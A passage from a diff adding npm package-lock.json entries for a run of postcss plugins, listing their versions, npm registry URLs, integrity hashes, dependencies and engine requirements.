"^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-convert-values": { + "version": "5.1.3", + "resolved": "https://registry.npmjs.org/postcss-convert-values/-/postcss-convert-values-5.1.3.tgz", + "integrity": "sha512-82pC1xkJZtcJEfiLw6UXnXVXScgtBrjlO5CBmuDQc+dlb88ZYheFsjTn40+zBVi3DkfF7iezO0nJUPLcJK3pvA==", + "dependencies": { + "browserslist": "^4.21.4", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-custom-media": { + "version": "8.0.2", + "resolved": "https://registry.npmjs.org/postcss-custom-media/-/postcss-custom-media-8.0.2.tgz", + "integrity": "sha512-7yi25vDAoHAkbhAzX9dHx2yc6ntS4jQvejrNcC+csQJAXjj15e7VcWfMgLqBNAbOvqi5uIa9huOVwdHbf+sKqg==", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.3" + } + }, + "node_modules/postcss-custom-properties": { + "version": "12.1.11", + "resolved": "https://registry.npmjs.org/postcss-custom-properties/-/postcss-custom-properties-12.1.11.tgz", + "integrity": "sha512-0IDJYhgU8xDv1KY6+VgUwuQkVtmYzRwu+dMjnmdMafXYv86SWqfxkc7qdDvWS38vsjaEtv8e0vGOUQrAiMBLpQ==", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/postcss-custom-selectors": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/postcss-custom-selectors/-/postcss-custom-selectors-6.0.3.tgz", + "integrity": "sha512-fgVkmyiWDwmD3JbpCmB45SvvlCD6z9CG6Ie6Iere22W5aHea6oWa7EM2bpnv2Fj3I94L3VbtvX9KqwSi5aFzSg==", + "dependencies": { + "postcss-selector-parser": "^6.0.4" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.3" + } + }, + "node_modules/postcss-dir-pseudo-class": { + "version": "6.0.5", + "resolved": "https://registry.npmjs.org/postcss-dir-pseudo-class/-/postcss-dir-pseudo-class-6.0.5.tgz", + "integrity": "sha512-eqn4m70P031PF7ZQIvSgy9RSJ5uI2171O/OO/zcRNYpJbvaeKFUlar1aJ7rmgiQtbm0FSPsRewjpdS0Oew7MPA==", + "dependencies": { + "postcss-selector-parser": "^6.0.10" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/postcss-discard-comments": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/postcss-discard-comments/-/postcss-discard-comments-5.1.2.tgz", + "integrity": "sha512-+L8208OVbHVF2UQf1iDmRcbdjJkuBF6IS29yBDSiWUIzpYaAhtNl6JYnYm12FnkeCwQqF5LeklOu6rAqgfBZqQ==", + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-discard-duplicates": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-discard-duplicates/-/postcss-discard-duplicates-5.1.0.tgz", + "integrity": "sha512-zmX3IoSI2aoenxHV6C7plngHWWhUOV3sP1T8y2ifzxzbtnuhk1EdPwm0S1bIUNaJ2eNbWeGLEwzw8huPD67aQw==", + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-discard-empty": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/postcss-discard-empty/-/postcss-discard-empty-5.1.1.tgz", + "integrity": "sha512-zPz4WljiSuLWsI0ir4Mcnr4qQQ5e1Ukc3i7UfE2XcrwKK2LIPIqE5jxMRxO6GbI3cv//ztXDsXwEWT3BHOGh3A==", + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-discard-overridden": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-discard-overridden/-/postcss-discard-overridden-5.1.0.tgz", + "integrity": "sha512-21nOL7RqWR1kasIVdKs8HNqQJhFxLsyRfAnUDm4Fe4t4mCWL9OJiHvlHPjcd8zc5Myu89b/7wZDnOSjFgeWRtw==", + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-double-position-gradients": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/postcss-double-position-gradients/-/postcss-double-position-gradients-3.1.2.tgz", + "integrity": "sha512-GX+FuE/uBR6eskOK+4vkXgT6pDkexLokPaz/AbJna9s5Kzp/yl488pKPjhy0obB475ovfT1Wv8ho7U/cHNaRgQ==", + "dependencies": { + "@csstools/postcss-progressive-custom-properties": "^1.1.0", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/postcss-env-function": { + "version": "4.0.6", + "resolved": "https://registry.npmjs.org/postcss-env-function/-/postcss-env-function-4.0.6.tgz", + "integrity": "sha512-kpA6FsLra+NqcFnL81TnsU+Z7orGtDTxcOhl6pwXeEq1yFPpRMkCDpHhrz8CFQDr/Wfm0jLiNQ1OsGGPjlqPwA==", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/postcss-flexbugs-fixes": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/postcss-flexbugs-fixes/-/postcss-flexbugs-fixes-5.0.2.tgz", + "integrity": "sha512-18f9voByak7bTktR2QgDveglpn9DTbBWPUzSOe9g0N4WR/2eSt6Vrcbf0hmspvMI6YWGywz6B9f7jzpFNJJgnQ==", + "peerDependencies": { + "postcss": "^8.1.4" + } + }, + "node_modules/postcss-focus-visible": { + "version": "6.0.4", + "resolved": "https://registry.npmjs.org/postcss-focus-visible/-/postcss-focus-visible-6.0.4.tgz", + "integrity": "sha512-QcKuUU/dgNsstIK6HELFRT5Y3lbrMLEOwG+A4s5cA+fx3A3y/JTq3X9LaOj3OC3ALH0XqyrgQIgey/MIZ8Wczw==", + "dependencies": { + "postcss-selector-parser": "^6.0.9" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/postcss-focus-within": { + "version": "5.0.4", + "resolved": "https://registry.npmjs.org/postcss-focus-within/-/postcss-focus-within-5.0.4.tgz", + "integrity": "sha512-vvjDN++C0mu8jz4af5d52CB184ogg/sSxAFS+oUJQq2SuCe7T5U2iIsVJtsCp2d6R4j0jr5+q3rPkBVZkXD9fQ==", + "dependencies": { + "postcss-selector-parser": "^6.0.9" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/postcss-font-variant": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/postcss-font-variant/-/postcss-font-variant-5.0.0.tgz", + "integrity": "sha512-1fmkBaCALD72CK2a9i468mA/+tr9/1cBxRRMXOUaZqO43oWPR5imcyPjXwuv7PXbCid4ndlP5zWhidQVVa3hmA==", + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/postcss-gap-properties": { + "version": "3.0.5", + "resolved": "https://registry.npmjs.org/postcss-gap-properties/-/postcss-gap-properties-3.0.5.tgz", + "integrity": "sha512-IuE6gKSdoUNcvkGIqdtjtcMtZIFyXZhmFd5RUlg97iVEvp1BZKV5ngsAjCjrVy+14uhGBQl9tzmi1Qwq4kqVOg==", + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/postcss-image-set-function": { + "version": "4.0.7", + "resolved": "https://registry.npmjs.org/postcss-image-set-function/-/postcss-image-set-function-4.0.7.tgz", + "integrity": "sha512-9T2r9rsvYzm5ndsBE8WgtrMlIT7VbtTfE7b3BQnudUqnBcBo7L758oc+o+pdj/dUV0l5wjwSdjeOH2DZtfv8qw==", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/postcss-import": { + "version": "15.1.0", + "resolved": "https://registry.npmjs.org/postcss-import/-/postcss-import-15.1.0.tgz", + "integrity": "sha512-hpr+J05B2FVYUAXHeK1YyI267J/dDDhMU6B6civm8hSY1jYJnBXxzKDKDswzJmtLHryrjhnDjqqp/49t8FALew==", + "dependencies": { + "postcss-value-parser": "^4.0.0", + "read-cache": "^1.0.0", + "resolve": "^1.1.7" + }, + "engines": { + "node": ">=14.0.0" + }, + "peerDependencies": { + "postcss": "^8.0.0" + } + }, + "node_modules/postcss-initial": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/postcss-initial/-/postcss-initial-4.0.1.tgz", + "integrity": "sha512-0ueD7rPqX8Pn1xJIjay0AZeIuDoF+V+VvMt/uOnn+4ezUKhZM/NokDeP6DwMNyIoYByuN/94IQnt5FEkaN59xQ==", + "peerDependencies": { + "postcss": "^8.0.0" + } + }, + "node_modules/postcss-js": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/postcss-js/-/postcss-js-4.0.1.tgz", + "integrity": "sha512-dDLF8pEO191hJMtlHFPRa8xsizHaM82MLfNkUHdUtVEV3tgTp5oj+8qbEqYM57SLfc74KSbw//4SeJma2LRVIw==", + "dependencies": { + "camelcase-css": "^2.0.1" + }, + "engines": { + "node": "^12 || ^14 || >= 16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + "peerDependencies": { + "postcss": "^8.4.21" + } + }, + "node_modules/postcss-lab-function": { + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/postcss-lab-function/-/postcss-lab-function-4.2.1.tgz", + "integrity": "sha512-xuXll4isR03CrQsmxyz92LJB2xX9n+pZJ5jE9JgcnmsCammLyKdlzrBin+25dy6wIjfhJpKBAN80gsTlCgRk2w==", + "dependencies": { + "@csstools/postcss-progressive-custom-properties": "^1.1.0", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/postcss-load-config": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/postcss-load-config/-/postcss-load-config-4.0.2.tgz", + "integrity": "sha512-bSVhyJGL00wMVoPUzAVAnbEoWyqRxkjv64tUl427SKnPrENtq6hJwUojroMz2VB+Q1edmi4IfrAPpami5VVgMQ==", + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "dependencies": { + "lilconfig": "^3.0.0", + "yaml": "^2.3.4" + }, + "engines": { + "node": ">= 14" + }, + "peerDependencies": { + "postcss": ">=8.0.9", + "ts-node": ">=9.0.0" + }, + "peerDependenciesMeta": { + "postcss": { + "optional": true + }, + "ts-node": { + "optional": true + } + } + }, + "node_modules/postcss-load-config/node_modules/lilconfig": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-3.1.0.tgz", + "integrity": "sha512-p3cz0JV5vw/XeouBU3Ldnp+ZkBjE+n8ydJ4mcwBrOiXXPqNlrzGBqWs9X4MWF7f+iKUBu794Y8Hh8yawiJbCjw==", + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/antonk52" + } + }, + "node_modules/postcss-load-config/node_modules/yaml": { + "version": "2.3.4", + "resolved": "https://registry.npmjs.org/yaml/-/yaml-2.3.4.tgz", + "integrity": "sha512-8aAvwVUSHpfEqTQ4w/KMlf3HcRdt50E5ODIQJBw1fQ5RL34xabzxtUlzTXVqc4rkZsPbvrXKWnABCD7kWSmocA==", + "engines": { + "node": ">= 14" + } + }, + "node_modules/postcss-loader": { + "version": "6.2.1", + "resolved": "https://registry.npmjs.org/postcss-loader/-/postcss-loader-6.2.1.tgz", + "integrity": "sha512-WbbYpmAaKcux/P66bZ40bpWsBucjx/TTgVVzRZ9yUO8yQfVBlameJ0ZGVaPfH64hNSBh63a+ICP5nqOpBA0w+Q==", + "dependencies": { + "cosmiconfig": "^7.0.0", + "klona": "^2.0.5", + "semver": "^7.3.5" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "postcss": "^7.0.0 || ^8.0.1", + "webpack": "^5.0.0" + } + }, + "node_modules/postcss-loader/node_modules/lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/postcss-loader/node_modules/semver": { + "version": "7.6.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.6.0.tgz", + "integrity": "sha512-EnwXhrlwXMk9gKu5/flx5sv/an57AkRplG3hTK68W7FRDN+k+OWBj65M7719OkA82XLBxrcX0KSHj+X5COhOVg==", + "dependencies": { + "lru-cache": "^6.0.0" + }, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/postcss-loader/node_modules/yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==" + }, + "node_modules/postcss-logical": { + "version": "5.0.4", + "resolved": "https://registry.npmjs.org/postcss-logical/-/postcss-logical-5.0.4.tgz", + "integrity": "sha512-RHXxplCeLh9VjinvMrZONq7im4wjWGlRJAqmAVLXyZaXwfDWP73/oq4NdIp+OZwhQUMj0zjqDfM5Fj7qby+B4g==", + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/postcss-media-minmax": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/postcss-media-minmax/-/postcss-media-minmax-5.0.0.tgz", + "integrity": "sha512-yDUvFf9QdFZTuCUg0g0uNSHVlJ5X1lSzDZjPSFaiCWvjgsvu8vEVxtahPrLMinIDEEGnx6cBe6iqdx5YWz08wQ==", + "engines": { + "node": ">=10.0.0" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/postcss-merge-longhand": { + "version": "5.1.7", + "resolved": "https://registry.npmjs.org/postcss-merge-longhand/-/postcss-merge-longhand-5.1.7.tgz", + "integrity": "sha512-YCI9gZB+PLNskrK0BB3/2OzPnGhPkBEwmwhfYk1ilBHYVAZB7/tkTHFBAnCrvBBOmeYyMYw3DMjT55SyxMBzjQ==", + "dependencies": { + "postcss-value-parser": "^4.2.0", + "stylehacks": "^5.1.1" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-merge-rules": { + "version": "5.1.4", + "resolved": "https://registry.npmjs.org/postcss-merge-rules/-/postcss-merge-rules-5.1.4.tgz", + "integrity": "sha512-0R2IuYpgU93y9lhVbO/OylTtKMVcHb67zjWIfCiKR9rWL3GUk1677LAqD/BcHizukdZEjT8Ru3oHRoAYoJy44g==", + "dependencies": { + "browserslist": "^4.21.4", + "caniuse-api": "^3.0.0", + "cssnano-utils": "^3.1.0", + "postcss-selector-parser": "^6.0.5" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-minify-font-values": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-minify-font-values/-/postcss-minify-font-values-5.1.0.tgz", + "integrity": "sha512-el3mYTgx13ZAPPirSVsHqFzl+BBBDrXvbySvPGFnQcTI4iNslrPaFq4muTkLZmKlGk4gyFAYUBMH30+HurREyA==", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-minify-gradients": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/postcss-minify-gradients/-/postcss-minify-gradients-5.1.1.tgz", + "integrity": "sha512-VGvXMTpCEo4qHTNSa9A0a3D+dxGFZCYwR6Jokk+/3oB6flu2/PnPXAh2x7x52EkY5xlIHLm+Le8tJxe/7TNhzw==", + "dependencies": { + "colord": "^2.9.1", + "cssnano-utils": "^3.1.0", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-minify-params": { + "version": "5.1.4", + "resolved": "https://registry.npmjs.org/postcss-minify-params/-/postcss-minify-params-5.1.4.tgz", + "integrity": "sha512-+mePA3MgdmVmv6g+30rn57USjOGSAyuxUmkfiWpzalZ8aiBkdPYjXWtHuwJGm1v5Ojy0Z0LaSYhHaLJQB0P8Jw==", + "dependencies": { + "browserslist": "^4.21.4", + "cssnano-utils": "^3.1.0", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-minify-selectors": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/postcss-minify-selectors/-/postcss-minify-selectors-5.2.1.tgz", + "integrity": "sha512-nPJu7OjZJTsVUmPdm2TcaiohIwxP+v8ha9NehQ2ye9szv4orirRU3SDdtUmKH+10nzn0bAyOXZ0UEr7OpvLehg==", + "dependencies": { + "postcss-selector-parser": "^6.0.5" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-modules-extract-imports": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/postcss-modules-extract-imports/-/postcss-modules-extract-imports-3.0.0.tgz", + "integrity": "sha512-bdHleFnP3kZ4NYDhuGlVK+CMrQ/pqUm8bx/oGL93K6gVwiclvX5x0n76fYMKuIGKzlABOy13zsvqjb0f92TEXw==", + "engines": { + "node": "^10 || ^12 || >= 14" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/postcss-modules-local-by-default": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/postcss-modules-local-by-default/-/postcss-modules-local-by-default-4.0.4.tgz", + "integrity": "sha512-L4QzMnOdVwRm1Qb8m4x8jsZzKAaPAgrUF1r/hjDR2Xj7R+8Zsf97jAlSQzWtKx5YNiNGN8QxmPFIc/sh+RQl+Q==", + "dependencies": { + "icss-utils": "^5.0.0", + "postcss-selector-parser": "^6.0.2", + "postcss-value-parser": "^4.1.0" + }, + "engines": { + "node": "^10 || ^12 || >= 14" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/postcss-modules-scope": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/postcss-modules-scope/-/postcss-modules-scope-3.1.1.tgz", + "integrity": "sha512-uZgqzdTleelWjzJY+Fhti6F3C9iF1JR/dODLs/JDefozYcKTBCdD8BIl6nNPbTbcLnGrk56hzwZC2DaGNvYjzA==", + "dependencies": { + "postcss-selector-parser": "^6.0.4" + }, + "engines": { + "node": "^10 || ^12 || >= 14" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/postcss-modules-values": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-modules-values/-/postcss-modules-values-4.0.0.tgz", + "integrity": "sha512-RDxHkAiEGI78gS2ofyvCsu7iycRv7oqw5xMWn9iMoR0N/7mf9D50ecQqUo5BZ9Zh2vH4bCUR/ktCqbB9m8vJjQ==", + "dependencies": { + "icss-utils": "^5.0.0" + }, + "engines": { + "node": "^10 || ^12 || >= 14" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/postcss-nested": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/postcss-nested/-/postcss-nested-6.0.1.tgz", + "integrity": "sha512-mEp4xPMi5bSWiMbsgoPfcP74lsWLHkQbZc3sY+jWYd65CUwXrUaTp0fmNpa01ZcETKlIgUdFN/MpS2xZtqL9dQ==", + "dependencies": { + "postcss-selector-parser": "^6.0.11" + }, + "engines": { + "node": ">=12.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + "peerDependencies": { + "postcss": "^8.2.14" + } + }, + "node_modules/postcss-nesting": { + "version": "10.2.0", + "resolved": "https://registry.npmjs.org/postcss-nesting/-/postcss-nesting-10.2.0.tgz", + "integrity": "sha512-EwMkYchxiDiKUhlJGzWsD9b2zvq/r2SSubcRrgP+jujMXFzqvANLt16lJANC+5uZ6hjI7lpRmI6O8JIl+8l1KA==", + "dependencies": { + "@csstools/selector-specificity": "^2.0.0", + "postcss-selector-parser": "^6.0.10" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/postcss-normalize": { + "version": "10.0.1", + "resolved": "https://registry.npmjs.org/postcss-normalize/-/postcss-normalize-10.0.1.tgz", + "integrity": "sha512-+5w18/rDev5mqERcG3W5GZNMJa1eoYYNGo8gB7tEwaos0ajk3ZXAI4mHGcNT47NE+ZnZD1pEpUOFLvltIwmeJA==", + "dependencies": { + "@csstools/normalize.css": "*", + "postcss-browser-comments": "^4", + "sanitize.css": "*" + }, + "engines": { + "node": ">= 12" + }, + "peerDependencies": { + "browserslist": ">= 4", + "postcss": ">= 8" + } + }, + "node_modules/postcss-normalize-charset": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-charset/-/postcss-normalize-charset-5.1.0.tgz", + "integrity": "sha512-mSgUJ+pd/ldRGVx26p2wz9dNZ7ji6Pn8VWBajMXFf8jk7vUoSrZ2lt/wZR7DtlZYKesmZI680qjr2CeFF2fbUg==", + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-display-values": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-display-values/-/postcss-normalize-display-values-5.1.0.tgz", + "integrity": "sha512-WP4KIM4o2dazQXWmFaqMmcvsKmhdINFblgSeRgn8BJ6vxaMyaJkwAzpPpuvSIoG/rmX3M+IrRZEz2H0glrQNEA==", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-positions": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/postcss-normalize-positions/-/postcss-normalize-positions-5.1.1.tgz", + "integrity": "sha512-6UpCb0G4eofTCQLFVuI3EVNZzBNPiIKcA1AKVka+31fTVySphr3VUgAIULBhxZkKgwLImhzMR2Bw1ORK+37INg==", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-repeat-style": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/postcss-normalize-repeat-style/-/postcss-normalize-repeat-style-5.1.1.tgz", + "integrity": "sha512-mFpLspGWkQtBcWIRFLmewo8aC3ImN2i/J3v8YCFUwDnPu3Xz4rLohDO26lGjwNsQxB3YF0KKRwspGzE2JEuS0g==", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-string": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-string/-/postcss-normalize-string-5.1.0.tgz", + "integrity": "sha512-oYiIJOf4T9T1N4i+abeIc7Vgm/xPCGih4bZz5Nm0/ARVJ7K6xrDlLwvwqOydvyL3RHNf8qZk6vo3aatiw/go3w==", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-timing-functions": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-timing-functions/-/postcss-normalize-timing-functions-5.1.0.tgz", + "integrity": "sha512-DOEkzJ4SAXv5xkHl0Wa9cZLF3WCBhF3o1SKVxKQAa+0pYKlueTpCgvkFAHfk+Y64ezX9+nITGrDZeVGgITJXjg==", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-unicode": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/postcss-normalize-unicode/-/postcss-normalize-unicode-5.1.1.tgz", + "integrity": "sha512-qnCL5jzkNUmKVhZoENp1mJiGNPcsJCs1aaRmURmeJGES23Z/ajaln+EPTD+rBeNkSryI+2WTdW+lwcVdOikrpA==", + "dependencies": { + "browserslist": "^4.21.4", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-url": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-url/-/postcss-normalize-url-5.1.0.tgz", + "integrity": "sha512-5upGeDO+PVthOxSmds43ZeMeZfKH+/DKgGRD7TElkkyS46JXAUhMzIKiCa7BabPeIy3AQcTkXwVVN7DbqsiCew==", + "dependencies": { + "normalize-url": "^6.0.1", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-whitespace": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/postcss-normalize-whitespace/-/postcss-normalize-whitespace-5.1.1.tgz", + "integrity": "sha512-83ZJ4t3NUDETIHTa3uEg6asWjSBYL5EdkVB0sDncx9ERzOKBVJIUeDO9RyA9Zwtig8El1d79HBp0JEi8wvGQnA==", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-opacity-percentage": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/postcss-opacity-percentage/-/postcss-opacity-percentage-1.1.3.tgz", + "integrity": "sha512-An6Ba4pHBiDtyVpSLymUUERMo2cU7s+Obz6BTrS+gxkbnSBNKSuD0AVUc+CpBMrpVPKKfoVz0WQCX+Tnst0i4A==", + "funding": [ + { + "type": "kofi", + "url": "https://ko-fi.com/mrcgrtz" + }, + { + "type": "liberapay", + "url": "https://liberapay.com/mrcgrtz" + } + ], + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/postcss-ordered-values": { + "version": "5.1.3", + "resolved": "https://registry.npmjs.org/postcss-ordered-values/-/postcss-ordered-values-5.1.3.tgz", + "integrity": "sha512-9UO79VUhPwEkzbb3RNpqqghc6lcYej1aveQteWY+4POIwlqkYE21HKWaLDF6lWNuqCobEAyTovVhtI32Rbv2RQ==", + "dependencies": { + "cssnano-utils": "^3.1.0", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-overflow-shorthand": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/postcss-overflow-shorthand/-/postcss-overflow-shorthand-3.0.4.tgz", + "integrity": "sha512-otYl/ylHK8Y9bcBnPLo3foYFLL6a6Ak+3EQBPOTR7luMYCOsiVTUk1iLvNf6tVPNGXcoL9Hoz37kpfriRIFb4A==", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/postcss-page-break": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/postcss-page-break/-/postcss-page-break-3.0.4.tgz", + "integrity": 